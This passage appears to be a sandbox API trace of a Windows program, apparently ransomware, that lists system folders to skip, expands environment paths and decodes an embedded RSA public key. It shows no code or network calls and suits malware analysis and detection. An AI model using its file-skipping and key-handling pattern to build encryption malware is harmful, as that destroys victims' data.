Size=0x40) returned 0xffc750 [0253.817] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd208 [0253.817] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc708 [0253.817] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd218 [0253.817] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc6c0 [0253.817] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd228 [0253.817] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc678 [0253.817] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd238 [0253.817] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc630 [0253.817] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd248 [0253.817] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc5e8 [0253.817] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc288) returned 1 [0253.817] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd258) returned 1 [0253.817] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc0d8) returned 1 [0253.818] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd268) returned 1 [0253.818] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc240) returned 1 [0253.818] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd278) returned 1 [0253.818] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc120) returned 1 [0253.818] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd288) returned 1 [0253.818] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc168) returned 1 [0253.818] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd298) returned 1 [0253.818] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc1b0) returned 1 [0253.818] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd2d8) returned 1 [0253.818] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc1f8) returned 1 [0253.818] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd2c8) returned 1 [0253.818] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffbc08) returned 1 [0253.818] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x20) returned 0xffbc08 [0253.818] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd2c8 [0253.818] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc1f8 [0253.818] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd2d8 [0253.818] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc1b0 [0253.818] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd298 [0253.818] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc168 [0253.818] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd288 [0253.818] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc120 [0253.818] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd278 [0253.818] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc240 [0253.818] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd268 [0253.818] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc0d8 [0253.818] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd258 [0253.818] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc288 [0253.818] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc798) returned 1 [0253.818] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd1f8) returned 1 [0253.818] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc750) returned 1 [0253.818] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd1e8) returned 1 [0253.818] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc708) returned 1 [0253.818] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd208) returned 1 [0253.818] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc6c0) returned 1 [0253.818] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd218) returned 1 [0253.818] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc678) returned 1 [0253.818] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd228) returned 1 [0253.818] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc630) returned 1 [0253.818] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd238) returned 1 [0253.819] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc5e8) returned 1 [0253.819] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd248) returned 1 [0253.819] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xe25058) returned 1 [0253.819] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xe22850) returned 1 [0253.819] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xffc1f8, cbMultiByte=25, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0253.819] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffdae0 [0253.819] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xffc1f8, cbMultiByte=25, lpWideCharStr=0xffdae0, cchWideChar=25 | out: lpWideCharStr="System Volume Information") returned 25 [0253.819] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffdb68 [0253.819] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffdae0) returned 1 [0253.819] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x10) returned 0xffd5e8 [0253.819] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd248 [0253.819] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffdae0 [0253.819] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffdb68) returned 1 [0253.819] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xffc1b0, cbMultiByte=12, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0253.819] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffdb68 [0253.819] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xffc1b0, cbMultiByte=12, lpWideCharStr=0xffdb68, cchWideChar=12 | out: lpWideCharStr="$RECYCLE.BIN") returned 12 [0253.819] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffdbf0 [0253.819] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffdb68) returned 1 [0253.819] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd238 [0253.819] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffdb68 [0253.819] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffdbf0) returned 1 [0253.819] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xffc168, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0253.819] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffdbf0 [0253.819] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xffc168, cbMultiByte=8, lpWideCharStr=0xffdbf0, cchWideChar=8 | out: lpWideCharStr="WebCache") returned 8 [0253.819] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffdc78 [0253.819] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffdbf0) returned 1 [0253.819] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd228 [0253.819] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffdbf0 [0253.819] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffdc78) returned 1 [0253.819] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xffc120, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0253.819] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffdc78 [0253.819] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xffc120, cbMultiByte=6, lpWideCharStr=0xffdc78, cchWideChar=6 | out: lpWideCharStr="Caches") returned 6 [0253.819] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffdd00 [0253.819] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffdc78) returned 1 [0253.819] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd218 [0253.819] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffdc78 [0253.819] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffdd00) returned 1 [0253.819] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xffc240, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0253.819] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffdd00 [0253.820] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xffc240, cbMultiByte=11, lpWideCharStr=0xffdd00, cchWideChar=11 | out: lpWideCharStr="WindowsApps") returned 11 [0253.820] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffdd88 [0253.820] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffdd00) returned 1 [0253.820] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x20) returned 0xffdd00 [0253.820] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd5e8) returned 1 [0253.820] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd208 [0253.820] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffde28 [0253.820] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffdd88) returned 1 [0253.820] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xffc0d8, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0253.820] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffdeb0 [0253.820] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xffc0d8, cbMultiByte=7, lpWideCharStr=0xffdeb0, cchWideChar=7 | out: lpWideCharStr="AppData") returned 7 [0253.820] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffdf38 [0253.820] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffdeb0) returned 1 [0253.820] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd1e8 [0253.820] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffdeb0 [0253.820] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffdf38) returned 1 [0253.820] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xffc288, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0253.820] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffdf38 [0253.820] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xffc288, cbMultiByte=11, lpWideCharStr=0xffdf38, cchWideChar=11 | out: lpWideCharStr="ProgramData") returned 11 [0253.820] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffdfc0 [0253.820] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffdf38) returned 1 [0253.820] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd1f8 [0253.820] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffdf38 [0253.820] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffdfc0) returned 1 [0253.820] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc1f8) returned 1 [0253.820] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd2c8) returned 1 [0253.820] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc1b0) returned 1 [0253.820] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd2d8) returned 1 [0253.820] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc168) returned 1 [0253.820] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd298) returned 1 [0253.820] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc120) returned 1 [0253.820] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd288) returned 1 [0253.820] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc240) returned 1 [0253.820] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd278) returned 1 [0253.820] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc0d8) returned 1 [0253.820] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd268) returned 1 [0253.820] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc288) returned 1 [0253.821] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd258) returned 1 [0253.821] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffbc08) returned 1 [0253.821] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x2800) returned 0xe22850 [0253.821] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc288 [0253.821] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc288) returned 1 [0253.821] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x10) returned 0xffd5e8 [0253.821] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd258 [0253.821] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc288 [0253.821] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc0d8 [0253.821] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc0d8) returned 1 [0253.821] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc288) returned 1 [0253.821] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd258) returned 1 [0253.821] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd5e8) returned 1 [0253.821] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xe22850) returned 1 [0253.821] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x2800) returned 0xe22850 [0253.821] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc288 [0253.821] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc288) returned 1 [0253.821] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc288 [0253.821] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x10) returned 0xffd5e8 [0253.821] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd258 [0253.821] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc0d8 [0253.821] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc288) returned 1 [0253.821] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc288 [0253.821] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd268 [0253.821] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc240 [0253.821] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc288) returned 1 [0253.821] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc288 [0253.821] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd278 [0253.821] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc120 [0253.821] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc288) returned 1 [0253.821] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd288 [0253.821] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc288 [0253.821] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x10) returned 0xffd618 [0253.821] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd298 [0253.821] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc168 [0253.821] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd2d8 [0253.821] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc1b0 [0253.821] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd2c8 [0253.822] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc1f8 [0253.822] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd2e8 [0253.822] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc5e8 [0253.822] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc0d8) returned 1 [0253.822] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd258) returned 1 [0253.822] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc240) returned 1 [0253.822] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd268) returned 1 [0253.822] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc120) returned 1 [0253.822] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd278) returned 1 [0253.822] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc288) returned 1 [0253.822] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd288) returned 1 [0253.822] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd5e8) returned 1 [0253.822] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc288 [0253.822] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc288) returned 1 [0253.822] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc288 [0253.822] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc288) returned 1 [0253.822] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc288 [0253.822] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc288) returned 1 [0253.822] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc288 [0253.822] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc288) returned 1 [0253.822] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x10) returned 0xffd5e8 [0253.822] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd288 [0253.822] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc288 [0253.822] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd278 [0253.822] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc120 [0253.822] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd268 [0253.822] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc240 [0253.822] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd258 [0253.822] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc0d8 [0253.822] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc168) returned 1 [0253.822] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd298) returned 1 [0253.822] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc1b0) returned 1 [0253.822] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd2d8) returned 1 [0253.822] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc1f8) returned 1 [0253.822] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd2c8) returned 1 [0253.822] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc5e8) returned 1 [0253.822] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd2e8) returned 1 [0253.822] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd618) returned 1 [0253.822] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x10) returned 0xffd618 [0253.823] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd2e8 [0253.823] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc5e8 [0253.823] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd2c8 [0253.823] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc1f8 [0253.823] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd2d8 [0253.823] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc1b0 [0253.823] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd298 [0253.823] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc168 [0253.823] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc288) returned 1 [0253.823] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd288) returned 1 [0253.823] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc120) returned 1 [0253.823] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd278) returned 1 [0253.823] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc240) returned 1 [0253.823] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd268) returned 1 [0253.823] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc0d8) returned 1 [0253.823] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd258) returned 1 [0253.823] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd5e8) returned 1 [0253.823] ExpandEnvironmentStringsA (in: lpSrc="%ProgramData%", lpDst=0xe22850, nSize=0x2800 | out: lpDst="C:\\ProgramData") returned 0xf [0253.823] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xe22850, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0253.823] ExpandEnvironmentStringsA (in: lpSrc="%windir%", lpDst=0xe22850, nSize=0x2800 | out: lpDst="C:\\Windows") returned 0xb [0253.823] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xe22850, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0253.823] ExpandEnvironmentStringsA (in: lpSrc="%temp%", lpDst=0xe22850, nSize=0x2800 | out: lpDst="C:\\Windows\\TEMP") returned 0x10 [0253.823] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xe22850, cbMultiByte=15, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 15 [0253.823] ExpandEnvironmentStringsA (in: lpSrc="%AppData%", lpDst=0xe22850, nSize=0x2800 | out: lpDst="C:\\Windows\\system32\\config\\systemprofile\\AppData\\Roaming") returned 0x39 [0253.823] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xe22850, cbMultiByte=56, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 56 [0253.824] CryptStringToBinaryA (in: pszString="MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA0cOJv9Aj24KNBa4Tg+wa\r\nv5qBoxAz4aYPx79WQ/Fv+0crkkL6Ntr+cit1qYv+kOOipAjw7bHZ3fhqS6Tcm4YL\r\nBCz2vwVHI1HtZbattwG4L5RFN/Rc/FwuzpanfLmsdBVPOwdMXBCbLqDxpgbE1Gyj\r\nAfvGH0RdbcBYbdpleKlW+CCIyC5qnCOrKXOt4ilyv8GFS20Mzuhwpb3aLPNHAZ3N\r\n4VKgtsJkVM1hf4aU5U7lGwFoQzviK8cPzeheV1B1uUTr0+3sloZ74vB4b7UZ2Usa\r\nCjv7gHkuV9U9ZYAksxV6T6ja/hetEIy/CkqvgJNhJM/iJ4aCVedjdf0oBK2J8ilE\r\n7nEypSXl/sACMVuDhxPKUDZ7cNRK7JGV49E5PftX5zPYjbn8kmhNuVYq3k+BhlQn\r\nsHFVDMRBzHJJySsmj07x3qwbSrE82ERX4PoFjUkYyYA/4CdHwUGyUFP5nCAN9uRE\r\nbkhUJD28OMUHRUoMvAu1vberKFxNNbCa5HKw1GgF/j0DvqgOCxK4wdC5vixjOZNV\r\nMTT/wlkE5Q5356N9IksFCGW2iJXSpWIHzqES6oJD8VUYIcvU8hWQHYgi7jZ6gWN3\r\nmF30p0D0Zqx2zzOmwh6si15pBzj2gyKtGY1ZMbbWWx7q5EX6l2NkpOV1p6BY6uD6\r\nRF9Z6zKY+rwjT6TANpN7PwECAwEAAQ==\r\n", cchString=0x0, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x18fd24, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x18fd24, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0253.824] CryptStringToBinaryA (in: 